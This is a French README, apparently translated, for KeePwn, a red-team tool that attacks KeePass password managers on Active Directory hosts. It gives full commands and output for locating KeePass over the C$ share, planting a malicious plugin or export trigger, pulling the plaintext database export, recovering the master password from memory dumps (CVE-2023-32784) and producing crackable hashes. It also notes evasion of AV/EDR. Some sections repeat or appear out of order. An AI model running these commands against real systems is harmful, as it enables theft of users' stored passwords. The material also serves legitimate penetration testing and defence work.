
Un outil Python pour automatiser la découverte de KeePass et l'extraction de secrets.

Un script Python pour aider les red teamers à découvrir les instances KeePass et extraire des secrets.
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help
Ou si vous ne voulez pas installer mais simplement exécuter dans un environnement virtuel :
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help
Le module search de KeePwn est utilisé pour identifier les hôtes exécutant KeePass dans votre environnement cible :
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt
[*] Starting remote KeePass search with 5 threads
[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found
Il utilise le partage C$ intégré d'Active Directory pour rechercher des fichiers liés à KeePass dans les emplacements par défaut, nécessitant donc des privilèges d'administrateur sur les cibles.
Le module recherchera d'abord le fichier de configuration KeePass.config.xml dans le dossier %APPDATA%\KeePass de chaque utilisateur, ainsi que KeePass.exe dans son chemin d'installation par défaut (C:\Program Files\KeePass Password Safe 2). Si un fichier de configuration est trouvé mais que KeePass n'est pas installé globalement, KeePwn recherchera les installations portables jusqu'à --max-depth sous-dossiers.
Cette technique de recherche de base devrait suffire pour déterminer avec précision si KeePass est utilisé sur un poste de travail ou non. De plus, l'option --get-process utilisera l'implémentation RPC d'Impacket pour déterminer si KeePass est actuellement en cours d'exécution sur la cible.
Diverses options de confort sont également incluses pour vous permettre d'exporter les résultats de recherche vers un fichier CSV, d'afficher uniquement les cibles où KeePass est trouvé et d'ajuster le nombre de threads parallèles :
KeePass dispose d'un framework de plugins qui peut être abusé pour charger des DLL malveillantes dans le processus KeePass, permettant aux attaquants disposant de droits d'administrateur d'exporter facilement la base de données (voir : KeeFarceRebornPlugin).
Le module plugin de KeePwn permet de :
Lister les plugins actuellement installés et énumérer le cache de plugins
$ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No path specified, searching in default locations..
[*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
Ajouter et supprimer vos plugins malveillants
$ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll
[*] No path specified, searching in default locations..
[*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
> y
[+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
Interroger %APPDATA% pour les exports et les déplacer automatiquement de l'hôte distant vers le système de fichiers local
Comme décrit dans l'article de blog de @harmj0y (et plus tard CVE-2023-24055), le système de déclencheurs de KeePass peut être abusé pour exporter la base de données en clair.
Le module trigger de KeePwn permet de :
Vérifier si un déclencheur malveillant nommé "export" est actuellement écrit dans la configuration KeePass
$ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No KeePass configuration path specified, searching in default locations..
[*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
[*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
[*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[+] No trigger found in KeePass configuration
Notez que KeePwn vous empêchera d'abuser des plugins si la version de KeePass détectée n'est pas affectée par cette technique.
Ajouter et supprimer un déclencheur malveillant nommé "export" qui effectue un export en clair de la base de données dans %APPDATA% au prochain lancement de KeePass
❯ python3 KeePwn.py trigger add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No KeePass configuration path specified, searching in default locations..
[*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
[*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
[*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[+] Malicious trigger 'export' successfully added to KeePass configuration file (it may be deleted if KeePass is already running)
Comme décrit par @vdohney, il est possible de récupérer le mot de passe maître de la base de données en mémoire (CVE-2023-32784, affectant les versions antérieures à KeePass 2.54).
Le module parse_dump de KeePwn recherchera des candidats potentiels de mot de passe maître dans les dumps. Parce que les chaînes résultantes seront (par conception) incomplètes, le module peut également être utilisé pour bruteforcer le premier caractère manquant contre un fichier KDBX spécifié.
$ python3 KeePwn.py parse_dump -d ./KeePass.DMP --bruteforce Database.kdbx
[*] Searching for the master password in memory dump.. done!
[*] Found 15 candidates:
_@$$w0rd!!
_Ï$$w0rd!!
_§$$w0rd!!
_ñ$$w0rd!!
_D$$w0rd!!
_$$w0rd!!
_\$$w0rd!!
_#$$w0rd!!
_y$$w0rd!!
_k$$w0rd!!
_9$$w0rd!!
_;$$w0rd!!
_H$$w0rd!!
_>$$w0rd!!
_a$$w0rd!!
[*] Bruteforcing missing symbol with the 254 most common unicode characters.. done!
[+] Database.kdbx successfully unlocked using master password P@$$w0rd!!
L'analyse du dump mémoire utilise le PoC Python de @CMEPW. Merci de m'avoir permis de réutiliser le code :)
Le script keepass2john.py de @harmjoy a été porté sur KeePwn avec l'aide de @0xSp3ctra.
KeePwn convert extraira un hash craquable (format john ou hashcat) d'une base de données KeePass.
KeePwn convert -d ./Database.kdbx
[+] Happy cracking! (hashcat -m 13400)
$keepass$*2*60000*222*b794eae002aff2a55a307bedeadebee210ee3c3596731f5acf2a1ff3add7d5af*7f19293f120717cbb88cdd27a3d4b9cb58316c61c625ca3a39f94c5a96b6135b*c004b3bc403730ce1bba15d5feda18e2*55a142d52798313c336c9442d824d7098ded3c5e161b76640100c99ec1cd95e1*60bb1f64c2bfff8a4e1eb43c533054f2f5c46fac19a867e7f80a1a71d6b68f17
Il peut être utilisé avec plus d'arguments pour spécifier le type de hash attendu ainsi qu'un chemin de fichier de sortie :
KeePwn convert -d ./Database.kdbx -t john -o ./Database.hash
[+] Hash written to ./Database.hash, happy cracking! (john --format=keepass)
KDBX 4.x n'est pas encore supporté, vous pouvez utiliser https://github.com/r3nt0n/keepass4brute. Si vous êtes d'humeur pour une PR, https://palant.info/2023/03/29/documenting-keepass-kdbx4-file-format devrait être une bonne lecture :)
Les pull requests sont les bienvenues (voir : Fonctionnalités non cochées + quelques TODOs dans le code).
N'hésitez pas à ouvrir une issue ou à m'envoyer un DM sur Twitter pour suggérer une amélioration.
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv
[*] Starting remote KeePass search with 4 threads
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)
[+] Search results logged to keepwn_out.csv
$ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml
Ces actions sont effectuées via l'accès au partage SMB C$, limitant la détection par AV/EDR car aucune exécution de commande n'est effectuée.
Interroger %APPDATA% pour les exports et les déplacer automatiquement de l'hôte distant vers le système de fichiers local
$ KeePwn trigger poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml
Si le chemin du fichier de configuration n'est pas l'emplacement par défaut, vous pouvez en spécifier un avec l'argument --config-path.